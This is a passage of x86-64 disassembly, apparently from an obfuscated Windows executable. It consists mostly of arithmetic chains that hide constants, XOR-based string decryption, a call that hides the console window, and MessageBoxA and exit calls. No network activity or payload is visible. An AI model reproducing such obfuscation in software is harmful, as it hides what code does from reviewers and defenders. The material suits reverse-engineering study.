rol rax, 0x4d
popf
mov qword [rsp + 0x7c8], rax
movabs rax, 0x4292c354a0c43c29
pushf
not rax
add rax, 0x6aec2abe
xor rax, 0x6a03012b
rol rax, 5
popf
pushf
not rax
add rax, 0x5e390755
xor rax, 0x79daad92
rol rax, 0x99
popf
pushf
not rax
add rax, 0x56a8aae1
xor rax, 0x6fb06aee
rol rax, 0x42
popf
mov qword [rsp + 0x7d0], rax
movabs rax, 0xad5cc70212162fa6
pushf
not rax
add rax, 0x4840164d
xor rax, 0x749141a3
rol rax, 0x35
popf
pushf
not rax
add rax, 0x6c413fbf
xor rax, 0x4092321b
rol rax, 0xf4
popf
pushf
not rax
add rax, 0x5e2ad234
xor rax, 0x5249275c
rol rax, 0xe6
popf
pushf
not rax
add rax, 0x5fdd300b
xor rax, 0x70fefdd6
rol rax, 0xcc
popf
mov qword [rsp + 0x7d8], rax
movabs rax, 0xe86ee99f2491549b
pushf
not rax
add rax, 0x452fb701
xor rax, 0x79f0a528
rol rax, 0x53
popf
pushf
not rax
add rax, 0x4d8d28a5
xor rax, 0x513864b5
rol rax, 0xd2
popf
mov qword [rsp + 0x7e0], rax
movabs rax, 0x983bfcf7df700058
pushf
not rax
add rax, 0x69c4d486
xor rax, 0x6b25d4af
rol rax, 0x74
popf
pushf
not rax
add rax, 0x789bb956
xor rax, 0x67077422
rol rax, 0x52
popf
pushf
not rax
add rax, 0x61808188
xor rax, 0x47929ed5
rol rax, 0
popf
mov qword [rsp + 0x7e8], rax
movabs rax, 0x971a3377dfbdab7b
pushf
not rax
add rax, 0x7a003138
xor rax, 0x516ac064
rol rax, 0xf5
popf
pushf
not rax
add rax, 0x52739c52
xor rax, 0x639c14a5
rol rax, 0x72
popf
pushf
not rax
add rax, 0x4262b6ff
xor rax, 0x723b297e
rol rax, 0xaf
popf
pushf
not rax
add rax, 0x6bc2912e
xor rax, 0x7cc2b20c
rol rax, 0xc7
popf
mov qword [rsp + 0xab0], rax
movabs rax, 0x45cd40cabe2003da
pushf
not rax
add rax, 0x4a12e44b
xor rax, 0x46b647d1
rol rax, 0x81
popf
pushf
not rax
add rax, 0x482b9847
xor rax, 0x59aba6cd
rol rax, 0xac
popf
mov qword [rsp + 0xab8], rax
movabs rax, 0x9b7a0e65e3024eb0
pushf
not rax
add rax, 0x529ff6b9
xor rax, 0x57170d26
rol rax, 0x99
popf
pushf
not rax
add rax, 0x4ca607cb
xor rax, 0x4dde9a6e
rol rax, 0x2e
popf
pushf
not rax
add rax, 0x65547eb1
xor rax, 0x656159d3
rol rax, 0xbf
popf
mov qword [rsp + 0xac0], rax
movabs rax, 0x10ae44038e6f2616
pushf
not rax
add rax, 0x6d79ecbe
xor rax, 0x4e47dcf1
rol rax, 0x21
popf
pushf
not rax
add rax, 0x5a2c0116
xor rax, 0x4e6487c4
rol rax, 0x46
popf
pushf
not rax
add rax, 0x5f08efff
xor rax, 0x61d3b398
rol rax, 0x78
popf
mov qword [rsp + 0xac8], rax
movabs rax, 0x960869e71f387c95
pushf
not rax
add rax, 0x5c8463d3
xor rax, 0x48d93bfe
rol rax, 0xa7
popf
pushf
not rax
add rax, 0x43d0ca72
xor rax, 0x4165d7e6
rol rax, 0x1f
popf
pushf
not rax
add rax, 0x5860561b
xor rax, 0x4755c879
rol rax, 0x8c
popf
pushf
not rax
add rax, 0x5720170e
xor rax, 0x48726e57
rol rax, 0xa3
popf
mov qword [rsp + 0xad0], rax
movabs rax, 0x4efeb61e9b19ea4b
pushf
not rax
add rax, 0x4fe22a29
xor rax, 0x70c4b1ed
rol rax, 0xf8
popf
pushf
not rax
add rax, 0x72cce3e5
xor rax, 0x6d93e052
rol rax, 0
popf
pushf
not rax
add rax, 0x71af08a4
xor rax, 0x77b1e943
rol rax, 0xf3
popf
pushf
not rax
add rax, 0x44c375f5
xor rax, 0x45da8a43
rol rax, 0x19
popf
mov qword [rsp + 0xad8], rax
lea rax, [rsp + 0x7f]
mov rdi, rax
xor eax, eax
mov ecx, 0x97e0e1e
pushf
not ecx
add ecx, 0xbb8e4dfe
xor ecx, 0xa26c2338
rol ecx, 0x93
popf
pushf
not ecx
add ecx, 0xe5685a1d
xor ecx, 0xf62fd63c
rol ecx, 0x85
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x7f]
mov byte [rsp + 0x1a8], al
movdqa xmm0, xmmword [rsp + 0xab0]
movdqa xmmword [rsp + 0xd80], xmm0
movdqa xmm0, xmmword [rsp + 0x7c0]
movdqa xmmword [rsp + 0xd70], xmm0
movdqa xmm0, xmmword [rsp + 0xd70]
pxor xmm0, xmmword [rsp + 0xd80]
movdqa xmmword [rsp + 0xd90], xmm0
movdqa xmm0, xmmword [rsp + 0xd90]
movdqa xmmword [rsp + 0x7c0], xmm0
lea rax, [rsp + 0x7d0]
mov qword [rsp + 0x410], rax
lea rax, [rsp + 0xac0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xdb0], xmm0
mov rax, qword [rsp + 0x410]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xda0], xmm0
movdqa xmm0, xmmword [rsp + 0xda0]
pxor xmm0, xmmword [rsp + 0xdb0]
movdqa xmmword [rsp + 0xdc0], xmm0
mov rax, qword [rsp + 0x410]
movdqa xmm0, xmmword [rsp + 0xdc0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x7e0]
mov qword [rsp + 0x418], rax
lea rax, [rsp + 0xad0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xde0], xmm0
mov rax, qword [rsp + 0x418]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xdd0], xmm0
movdqa xmm0, xmmword [rsp + 0xdd0]
pxor xmm0, xmmword [rsp + 0xde0]
movdqa xmmword [rsp + 0xdf0], xmm0
mov rax, qword [rsp + 0x418]
movdqa xmm0, xmmword [rsp + 0xdf0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x7c0]
mov rdx, rax
lea rcx, [rsp + 0x9d0]
call fcn.1402163d4
movzx eax, al
test eax, eax
je 0x1403e7e43
push rax
pushf
mov eax, 0xd902efd7
pushf
not eax
add eax, 0xc38288f8
xor eax, 0xbc9d1179
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xfe433e89
xor eax, 0xc96caaf4
rol eax, 0x84
popf
pushf
not eax
add eax, 0xe1bf69c6
xor eax, 0xc623980b
rol eax, 0x9c
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0x940e280e
pushf
not eax
add eax, 0xc58f022c
xor eax, 0xf9207fb7
rol eax, 0x12
popf
pushf
not eax
add eax, 0x850591fd
xor eax, 0xc65a6f7b
rol eax, 0xe5
popf
jmp 0x1403e32c1
mov byte [0x140140a11], 1
jmp 0x1403e7f16
xor ecx, ecx
jmp 0x1403e7eb8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push rax
pushf
mov eax, 0xbb9f341e
pushf
not eax
add eax, 0xdcaf11a6
xor eax, 0x954b1c92
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xe3f96417
xor eax, 0xd33e1e12
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xe8aa5940
xor eax, 0xcfcaa119
rol eax, 1
popf
pushf
not eax
add eax, 0x8142bc5a
xor eax, 0xbffb4c62
rol eax, 0x23
popf
jmp 0x1403e32c1
lea rcx, [0x1b46305ed]
pushf
sub rcx, 0x7462c32d
popf
call fcn.14037c1a7
lea rax, [rsp + 0x80]
mov rdi, rax
xor eax, eax
mov ecx, 0x1db9a019
pushf
not ecx
add ecx, 0xd42c1a95
xor ecx, 0xb7494ad3
rol ecx, 9
popf
pushf
not ecx
add ecx, 0xa3660f1e
xor ecx, 0x92179be8
rol ecx, 0x1e
popf
pushf
not ecx
add ecx, 0x99213ca2
xor ecx, 0xa95c7765
rol ecx, 0xd6
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x81]
mov rdi, rax
xor eax, eax
mov ecx, 0xf9aa7115
pushf
not ecx
add ecx, 0xeeaa0ea8
xor ecx, 0xffec0d9f
rol ecx, 0x69
popf
pushf
not ecx
add ecx, 0xa6a3f157
xor ecx, 0xcb5c1f8a
rol ecx, 0xff
popf
pushf
not ecx
add ecx, 0xf2203ad5
xor ecx, 0x9719d512
rol ecx, 0x69
popf
pushf
not ecx
add ecx, 0xf390022e
xor ecx, 0xa0890824
rol ecx, 0x9d
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x80]
mov byte [rsp + 0x1b0], al
movzx eax, byte [rsp + 0x81]
mov byte [rsp + 0x1b8], al
movabs rax, 0xf484ef501cd34aa9
pushf
not rax
add rax, 0x7efa50e3
xor rax, 0x4f3adc6d
rol rax, 0x69
popf
pushf
not rax
add rax, 0x47b9d401
xor rax, 0x715ded98
rol rax, 0xac
popf
mov qword [rsp + 0x540], rax
movabs rax, 0x3dc75e611d6b0d84
pushf
not rax
add rax, 0x44b60c56
xor rax, 0x71544e2f
rol rax, 0xcd
popf
pushf
not rax
add rax, 0x69e174e4
xor rax, 0x7b70ecd6
rol rax, 0x54
popf
pushf
not rax
add rax, 0x6083d512
xor rax, 0x7d748da9
rol rax, 0xac
popf
pushf
not rax
add rax, 0x6908eb14
xor rax, 0x53c1ab0b
rol rax, 0x66
popf
mov qword [rsp + 0x548], rax
movabs rax, 0xeaf029878cb340fc
pushf
not rax
add rax, 0x4764f7b0
xor rax, 0x40456189
rol rax, 0xca
popf
pushf
not rax
add rax, 0x50a26a99
xor rax, 0x538983bf
rol rax, 0xbd
popf
pushf
not rax
add rax, 0x45e0ff92
xor rax, 0x4891d6a5
rol rax, 0xb
popf
mov qword [rsp + 0x8e0], rax
movabs rax, 0x3931c2e732e17362
pushf
not rax
add rax, 0x4a1b1d6c
xor rax, 0x4ec4f4dc
rol rax, 0xb9
popf
pushf
not rax
add rax, 0x4d5194cb
xor rax, 0x6170d323
rol rax, 0x1e
popf
pushf
not rax
add rax, 0x70d6555a
xor rax, 0x56b10cc7
rol rax, 0x6f
popf
pushf
not rax
add rax, 0x67c68819
xor rax, 0x64b09598
rol rax, 0xd1
popf
mov qword [rsp + 0x8e8], rax
lea rax, [rsp + 0x82]
mov rdi, rax
xor eax, eax
mov ecx, 0x1d01e979
pushf
not ecx
add ecx, 0xd9f41ac6
xor ecx, 0xeec33b38
rol ecx, 0xa9
popf
pushf
not ecx
add ecx, 0xed22497c
xor ecx, 0x947ec867
rol ecx, 0xa9
popf
pushf
not ecx
add ecx, 0xb4b190e1
xor ecx, 0xc56030a2
rol ecx, 0x85
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x82]
mov byte [rsp + 0x1c0], al
movdqa xmm0, xmmword [rsp + 0x8e0]
movdqa xmmword [rsp + 0xe10], xmm0
movdqa xmm0, xmmword [rsp + 0x540]
movdqa xmmword [rsp + 0xe00], xmm0
movdqa xmm0, xmmword [rsp + 0xe00]
pxor xmm0, xmmword [rsp + 0xe10]
movdqa xmmword [rsp + 0xe20], xmm0
movdqa xmm0, xmmword [rsp + 0xe20]
movdqa xmmword [rsp + 0x540], xmm0
lea rax, [rsp + 0x540]
mov rdx, rax
lea rcx, [rsp + 0x13b0]
call fcn.1402163d4
movzx eax, al
test eax, eax
jne 0x1403e82a8
push rax
pushf
mov eax, 0x9b7dedd1
pushf
not eax
add eax, 0xf725c026
xor eax, 0x93127df5
rol eax, 0x58
popf
pushf
not eax
add eax, 0xb62cf812
xor eax, 0xef551c0f
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xaced2643
xor eax, 0x8faf6969
rol eax, 0x69
popf
pushf
not eax
add eax, 0xde41d7a8
xor eax, 0xe45d8a51
rol eax, 0xc1
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0x73cfd45a
pushf
not eax
add eax, 0x8c9f46d2
xor eax, 0xcb3f3152
rol eax, 0xaa
popf
pushf
not eax
add eax, 0x83e91c5d
xor eax, 0x9700aadd
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xa879e4d3
xor eax, 0xe9388822
rol eax, 0x7b
popf
jmp 0x1403e32c1
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
jmp 0x1403e82fb
call qword [sym.imp.USER32.dll_ShowWindow]
lea rax, [rsp + 0x83]
mov rdi, rax
xor eax, eax
mov ecx, 0x94e36f5
pushf
not ecx
add ecx, 0xfd950eaf
xor ecx, 0xf60c4a24
rol ecx, 0xca
popf
pushf
not ecx
add ecx, 0xb21ebe9d
xor ecx, 0xd12ed12a
rol ecx, 0x77
popf
pushf
not ecx
add ecx, 0xe6c070cd
xor ecx, 0xd53b9c1e
rol ecx, 0x86
popf
pushf
not ecx
add ecx, 0x9fb4a142
xor ecx, 0xd40848c2
rol ecx, 0x1d
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x84]
mov rdi, rax
xor eax, eax
mov ecx, 0xb7b045db
pushf
not ecx
add ecx, 0xb80a2502
xor ecx, 0xad857238
rol ecx, 0xe4
popf
pushf
not ecx
add ecx, 0xb37f05a3
xor ecx, 0xc5b433b8
rol ecx, 4
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x86]
mov rdi, rax
xor eax, eax
mov ecx, 0xefe48bab
pushf
not ecx
add ecx, 0xd927a0a0
xor ecx, 0x946b37ef
rol ecx, 0xfe
popf
pushf
not ecx
add ecx, 0xb4fa4563
xor ecx, 0xd5b03c98
rol ecx, 0x9e
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x87]
mov rdi, rax
xor eax, eax
mov ecx, 0x701338f5
pushf
not ecx
add ecx, 0xe8a376a2
xor ecx, 0xe5a996da
rol ecx, 0x7e
popf
pushf
not ecx
add ecx, 0xa0a37c44
xor ecx, 0xe4a25f91
rol ecx, 0xd9
popf
pushf
not ecx
add ecx, 0xe6e71217
xor ecx, 0x8a9f0118
rol ecx, 0xef
popf
pushf
not ecx
add ecx, 0xd5ed1821
xor ecx, 0xc4bc5f0e
rol ecx, 0xdd
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x83]
mov byte [rsp + 0x1c8], al
movzx eax, byte [rsp + 0x84]
mov byte [rsp + 0x1d0], al
movabs rax, 0x93ebacfda4b23792
pushf
not rax
add rax, 0x7bfc0add
xor rax, 0x5397794c
rol rax, 0xe5
popf
pushf
not rax
add rax, 0x47c1d603
xor rax, 0x5f0a072e
rol rax, 0x3d
popf
pushf
not rax
add rax, 0x66b108ee
xor rax, 0x46eb448c
rol rax, 0x5b
popf
pushf
not rax
add rax, 0x60f1319d
xor rax, 0x7b2da74d
rol rax, 0xa2
popf
mov qword [rsp + 0x550], rax
movabs rax, 0x5b749f4702b00d9
pushf
not rax
add rax, 0x48736c78
xor rax, 0x7f8dba0b
rol rax, 0x68
popf
pushf
not rax
add rax, 0x5b2330d0
xor rax, 0x41bd0297
rol rax, 0xf2
popf
mov qword [rsp + 0x558], rax
movabs rax, 0x11b505b96920318d
pushf
not rax
add rax, 0x7cd44e8d
xor rax, 0x79c1b4d9
rol rax, 0xe8
popf
pushf
not rax
add rax, 0x7705369c
xor rax, 0x7988f137
rol rax, 0x1f
popf
pushf
not rax
add rax, 0x6aff9c32
xor rax, 0x425c1eba
rol rax, 0x1e
popf
mov qword [rsp + 0x8f0], rax
movabs rax, 0x74be70e2565639aa
pushf
not rax
add rax, 0x452c31ca
xor rax, 0x6ad9a502
rol rax, 0xdb
popf
pushf
not rax
add rax, 0x64bf3b20
xor rax, 0x4d66074f
rol rax, 3
popf
mov qword [rsp + 0x8f8], rax
lea rax, [rsp + 0x85]
mov rdi, rax
xor eax, eax
mov ecx, 0xe7f59042
pushf
not ecx
add ecx, 0xe30eacca
xor ecx, 0x9466c0bc
rol ecx, 0x3a
popf
pushf
not ecx
add ecx, 0xf582cc06
xor ecx, 0xa59b59e4
rol ecx, 0x83
popf
pushf
not ecx
add ecx, 0x8d30f3cc
xor ecx, 0xfcd4dce8
rol ecx, 0x5a
popf
pushf
not ecx
add ecx, 0xe84668bc
xor ecx, 0x8e2af668
rol ecx, 0x94
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x85]
mov byte [rsp + 0x1d8], al
movdqa xmm0, xmmword [rsp + 0x8f0]
movdqa xmmword [rsp + 0xe40], xmm0
movdqa xmm0, xmmword [rsp + 0x550]
movdqa xmmword [rsp + 0xe30], xmm0
movdqa xmm0, xmmword [rsp + 0xe30]
pxor xmm0, xmmword [rsp + 0xe40]
movdqa xmmword [rsp + 0xe50], xmm0
movdqa xmm0, xmmword [rsp + 0xe50]
movdqa xmmword [rsp + 0x550], xmm0
lea rax, [rsp + 0x550]
mov qword [rsp + 0x700], rax
movzx eax, byte [rsp + 0x86]
mov byte [rsp + 0x1e0], al
movzx eax, byte [rsp + 0x87]
mov byte [rsp + 0x1e8], al
movabs rax, 0xacc0197a906563dc
pushf
not rax
add rax, 0x645a1eb2
xor rax, 0x4605fa2a
rol rax, 0xbe
popf
pushf
not rax
add rax, 0x4b1799ae
xor rax, 0x71ed5921
rol rax, 0x16
popf
pushf
not rax
add rax, 0x7eb976af
xor rax, 0x500d3496
rol rax, 0xa5
popf
pushf
not rax
add rax, 0x59717258
xor rax, 0x43579e16
rol rax, 0xc4
popf
mov qword [rsp + 0x7f0], rax
movabs rax, 0xb8db8b7d29e4bbc9
pushf
not rax
add rax, 0x5d40984e
xor rax, 0x415932bb
rol rax, 0x71
popf
pushf
not rax
add rax, 0x6f12cd68
xor rax, 0x5a8fbfa4
rol rax, 0x1d
popf
mov qword [rsp + 0x7f8], rax
movabs rax, 0x7eb0bb012b58e8ae
pushf
not rax
add rax, 0x4c8df6df
xor rax, 0x62e6ed15
rol rax, 0xb8
popf
pushf
not rax
add rax, 0x5d357fbe
xor rax, 0x6d8c56b1
rol rax, 0x74
popf
mov qword [rsp + 0x800], rax
movabs rax, 0x9573de46571f56c4
pushf
not rax
add rax, 0x571ccbd1
xor rax, 0x7a73aa45
rol rax, 0xc4
popf
pushf
not rax
add rax, 0x48eb00f3
xor rax, 0x6c5b0aad
rol rax, 0xbd
popf
pushf
not rax
add rax, 0x56c0d26f
xor rax, 0x4241e54a
rol rax, 9
popf
mov qword [rsp + 0x808], rax
movabs rax, 0x96f4f523418dceb0
pushf
not rax
add rax, 0x6c323daa
xor rax, 0x5dd63e75
rol rax, 0x8a
popf
pushf
not rax
add rax, 0x58a49cb3
xor rax, 0x421acb5f
rol rax, 0xde
popf
mov qword [rsp + 0x810], rax
movabs rax, 0xd3952fb3db675960
pushf
not rax
add rax, 0x753bbcfc
xor rax, 0x47e3df76
rol rax, 0xda
popf
pushf
not rax
add rax, 0x78314be4
xor rax, 0x5e30bf52
rol rax, 0xdd
popf
pushf
not rax
add rax, 0x5e6fa168
xor rax, 0x4bde0151
rol rax, 0x5b
popf
pushf
not rax
add rax, 0x7430185f
xor rax, 0x63bf853a
rol rax, 0x45
popf
mov qword [rsp + 0x818], rax
movabs rax, 0xf497112d7300fdd8
pushf
not rax
add rax, 0x5c12a984
xor rax, 0x45015eb3
rol rax, 0x50
popf
pushf
not rax
add rax, 0x517a8a42
xor rax, 0x53b40622
rol rax, 0x6a
popf
mov qword [rsp + 0xae0], rax
movabs rax, 0x1f0bf610ead6340f
pushf
not rax
add rax, 0x79ac97d2
xor rax, 0x46ab5903
rol rax, 0x46
popf
pushf
not rax
add rax, 0x5ab76dc9
xor rax, 0x6d9c402a
rol rax, 0x7e
popf
pushf
not rax
add rax, 0x4ff7a270
xor rax, 0x5283cb08
rol rax, 0x10
popf
mov qword [rsp + 0xae8], rax
movabs rax, 0x3c123c2fcf5f9850
pushf
not rax
add rax, 0x5b4d6887
xor rax, 0x4f081650
rol rax, 0x5d
popf
pushf
not rax
add rax, 0x60b0f51f
xor rax, 0x79a0c47d
rol rax, 0x79
popf
mov qword [rsp + 0xaf0], rax
movabs rax, 0x29ca9963054bd186
pushf
not rax
add rax, 0x69e2e945
xor rax, 0x4aaa6ef0
rol rax, 0x81
popf
pushf
not rax
add rax, 0x739e9a47
xor rax, 0x719975c3
rol rax, 0xcf
popf
pushf
not rax
add rax, 0x7a60fc1c
xor rax, 0x4fa18f21
rol rax, 0x99
popf
pushf
not rax
add rax, 0x586a54e2
xor rax, 0x584e5ddd
rol rax, 0xa1
popf
mov qword [rsp + 0xaf8], rax
movabs rax, 0x2da22d04d4f310e2
pushf
not rax
add rax, 0x445257c1
xor rax, 0x69b50457
rol rax, 0xb4
popf
pushf
not rax
add rax, 0x5edb655f
xor rax, 0x709c0de0
rol rax, 0x77
popf
pushf
not rax
add rax, 0x41ca7667
xor rax, 0x5f6264be
rol rax, 0xdf
popf
pushf
not rax
add rax, 0x6f44d4ff
xor rax, 0x65edb324
rol rax, 0x75
popf
mov qword [rsp + 0xb00], rax
movabs rax, 0xfc57c74be79afbbf
pushf
not rax
add rax, 0x56d8ecb5
xor rax, 0x6d0cb4ab
rol rax, 0x9d
popf
pushf
not rax
add rax, 0x6e9036b0
xor rax, 0x726c8d2b
rol rax, 0x2b
popf
pushf
not rax
add rax, 0x7e5bf52d
xor rax, 0x6c606144
rol rax, 0x1e
popf
pushf
not rax
add rax, 0x72968c53
xor rax, 0x75dcd29d
rol rax, 4
popf
mov qword [rsp + 0xb08], rax
lea rax, [rsp + 0x88]
mov rdi, rax
xor eax, eax
mov ecx, 0x69de4070
pushf
not ecx
add ecx, 0x98868183
xor ecx, 0xc1933ea1
rol ecx, 0x92
popf
pushf
not ecx
add ecx, 0xde36fc78
xor ecx, 0xabe5bd3f
rol ecx, 0xfc
popf
pushf
not ecx
add ecx, 0x87247867
xor ecx, 0xf1d01b89
rol ecx, 7
popf
pushf
not ecx
add ecx, 0xde2e95ac
xor ecx, 0xd80abc3c
rol ecx, 0xf
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x88]
mov byte [rsp + 0x1f0], al
movdqa xmm0, xmmword [rsp + 0xae0]
movdqa xmmword [rsp + 0xe70], xmm0
movdqa xmm0, xmmword [rsp + 0x7f0]
movdqa xmmword [rsp + 0xe60], xmm0
movdqa xmm0, xmmword [rsp + 0xe60]
pxor xmm0, xmmword [rsp + 0xe70]
movdqa xmmword [rsp + 0xe80], xmm0
movdqa xmm0, xmmword [rsp + 0xe80]
movdqa xmmword [rsp + 0x7f0], xmm0
lea rax, [rsp + 0x800]
mov qword [rsp + 0x420], rax
lea rax, [rsp + 0xaf0]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xea0], xmm0
mov rax, qword [rsp + 0x420]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xe90], xmm0
movdqa xmm0, xmmword [rsp + 0xe90]
pxor xmm0, xmmword [rsp + 0xea0]
movdqa xmmword [rsp + 0xeb0], xmm0
mov rax, qword [rsp + 0x420]
movdqa xmm0, xmmword [rsp + 0xeb0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x810]
mov qword [rsp + 0x428], rax
lea rax, [rsp + 0xb00]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xed0], xmm0
mov rax, qword [rsp + 0x428]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xec0], xmm0
movdqa xmm0, xmmword [rsp + 0xec0]
pxor xmm0, xmmword [rsp + 0xed0]
movdqa xmmword [rsp + 0xee0], xmm0
mov rax, qword [rsp + 0x428]
movdqa xmm0, xmmword [rsp + 0xee0]
movdqu xmmword [rax], xmm0
lea rax, [rsp + 0x7f0]
mov qword [rsp + 0x600], rax
xor r9d, r9d
mov r8, qword [rsp + 0x700]
mov rdx, qword [rsp + 0x600]
xor ecx, ecx
jmp 0x1403e8c7c
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.1401653d5
movzx eax, al
test eax, eax
je 0x1403e8ceb
push rax
pushf
mov eax, 0x8837a93a
pushf
not eax
add eax, 0xf7837ed9
xor eax, 0xddf7a523
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xa98b9935
xor eax, 0xb5203ecd
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xbef08ed9
xor eax, 0xd70bc2ee
rol eax, 0xe7
popf
pushf
not eax
add eax, 0x9457f0b9
xor eax, 0xaa46bb14
rol eax, 2
popf
jmp 0x1403e32c1
push rax
pushf
mov eax, 0x57857a00
pushf
not eax
add eax, 0xf4a138a0
xor eax, 0xf909fcdf
rol eax, 0x44
popf
pushf
not eax
add eax, 0xdb73e285
xor eax, 0x926b117f
rol eax, 0x23
popf
pushf
not eax
add eax, 0xf4da33df
xor eax, 0xb3b4b196
rol eax, 0x9a
popf
jmp 0x1403e32c1
lea rcx, [0x1b1905a8b]
pushf
sub rcx, 0x719017cb
popf
call fcn.1402d98bd
lea rax, [rsp + 0x89]
mov rdi, rax
xor eax, eax
mov ecx, 0x42d320a1
pushf
not ecx
add ecx, 0xfa07b142
xor ecx, 0xcd0019a5
rol ecx, 0x89
popf
pushf
not ecx
add ecx, 0xaa4fceb3
xor ecx, 0xacf48a8a
rol ecx, 0xc3
popf
pushf
not ecx
add ecx, 0xba06a339
xor ecx, 0xbe7d18cf
rol ecx, 0x87
popf
pushf
not ecx
add ecx, 0xb56bb8a5
xor ecx, 0xd4cb892a
rol ecx, 0x11
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x8a]
mov rdi, rax
xor eax, eax
mov ecx, 0xa448df06
pushf
not ecx
add ecx, 0xa49807c4
xor ecx, 0xa6d4dbee
rol ecx, 0xa5
popf
pushf
not ecx
add ecx, 0xa258028f
xor ecx, 0xce99981a
rol ecx, 0x8a
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x8c]
mov rdi, rax
xor eax, eax
mov ecx, 0xc81f8971
pushf
not ecx
add ecx, 0xe26445c2
xor ecx, 0xbce78c9d
rol ecx, 0x21
popf
pushf
not ecx
add ecx, 0xe1e1deaa
xor ecx, 0x949b7d4e
rol ecx, 0x9a
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x8d]
mov rdi, rax
xor eax, eax
mov ecx, 0x4fdf4203
pushf
not ecx
add ecx, 0xf9b46de9
xor ecx, 0xf5c611ff
rol ecx, 0x1b
popf
pushf
not ecx
add ecx, 0xc0b01b0e
xor ecx, 0xcdcf813d
rol ecx, 0xc3
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x89]
mov byte [rsp + 0x1f8], al
movzx eax, byte [rsp + 0x8a]
mov byte [rsp + 0x200], al
movabs rax, 0xab06214896dc92cb
pushf
not rax
add rax, 0x53d4c7c8
xor rax, 0x4736f0b7
rol rax, 0xae
popf
pushf
not rax
add rax, 0x5c578302
xor rax, 0x7790eeca
rol rax, 0xfe
popf
pushf
not rax
add rax, 0x5388a0e0
xor rax, 0x52851fcd
rol rax, 0xf0
popf
mov qword [rsp + 0x560], rax
movabs rax, 0xd6b433be4647fdb9
pushf
not rax
add rax, 0x4c7c50b4
xor rax, 0x6a143013
rol rax, 0x61
popf
pushf
not rax
add rax, 0x7cc624b1
xor rax, 0x4028dffc
rol rax, 2
popf
mov qword [rsp + 0x568], rax
movabs rax, 0x528df41b5ebc7bef
pushf
not rax
add rax, 0x40c68651
xor rax, 0x759f422f
rol rax, 0xf4
popf
pushf
not rax
add rax, 0x77e7b2d1
xor rax, 0x4af76f74
rol rax, 0x26
popf
pushf
not rax
add rax, 0x794e4fc3
xor rax, 0x4ecb08a4
rol rax, 0x65
popf
mov qword [rsp + 0x900], rax
movabs rax, 0x4e6a0653c23f7c2e
pushf
not rax
add rax, 0x40b5d369
xor rax, 0x48b2810a
rol rax, 0xc3
popf
pushf
not rax
add rax, 0x791ec452
xor rax, 0x43c5eb1d
rol rax, 0xa7
popf
mov qword [rsp + 0x908], rax
lea rax, [rsp + 0x8b]
mov rdi, rax
xor eax, eax
mov ecx, 0xa22d2923
pushf
not ecx
add ecx, 0xdfd9a281
xor ecx, 0x9474e22d
rol ecx, 0x2d
popf
pushf
not ecx
add ecx, 0xa78e74c7
xor ecx, 0xb4205f8b
rol ecx, 0xe3
popf
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0x8b]
mov byte [rsp + 0x208], al
movdqa xmm0, xmmword [rsp + 0x900]
movdqa xmmword [rsp + 0xf00], xmm0
movdqa xmm0, xmmword [rsp + 0x560]
movdqa xmmword [rsp + 0xef0], xmm0
movdqa xmm0, xmmword [rsp + 0xef0]
pxor xmm0, xmmword [rsp + 0xf00]
movdqa xmmword [rsp + 0xf10], xmm0
movdqa xmm0, xmmword [rsp + 0xf10]
movdqa xmmword [rsp + 0x560], xmm0
lea rax, [rsp + 0x560]
mov qword [rsp + 0x608], rax
movzx eax, byte [rsp + 0x8c]
mov byte [rsp + 0x210], al
movzx eax, byte [rsp + 0x8d]
mov byte [rsp + 0x218], al
movabs rax, 0x4407d5716de8ceff
pushf
not rax
add rax, 0x5499dba7
xor rax, 0x560750a7
rol rax, 0x54
popf
pushf
not rax
add rax, 0x7de34eba
xor rax, 0x45515ff9
rol rax, 0xb2
popf
pushf
not rax
add rax, 0x46195ce6
xor rax, 0x4b3e7788
rol rax, 0xd4
popf
mov qword [rsp + 0x880], rax
movabs rax, 0x18dcc8e65524d914
pushf
not rax
add rax, 0x4982ed67
xor rax, 0x68833338
rol rax, 0xd1
popf
pushf
not rax
add rax, 0x688af6c5
xor rax, 0x6ef5912c
rol rax, 0xc9
popf
pushf
not rax
add rax, 0x55c05df1
xor rax, 0x70c50727
rol rax, 0xf6
popf
mov qword [rsp + 0x888], rax
movabs rax, 0x7e14d6073d32afa4
pushf
not rax
add rax, 0x5cce204a
xor rax, 0x6e573f58
rol rax, 0xb2
popf
pushf
not rax
add rax, 0x43e69981
xor rax, 0x5d7f3edd
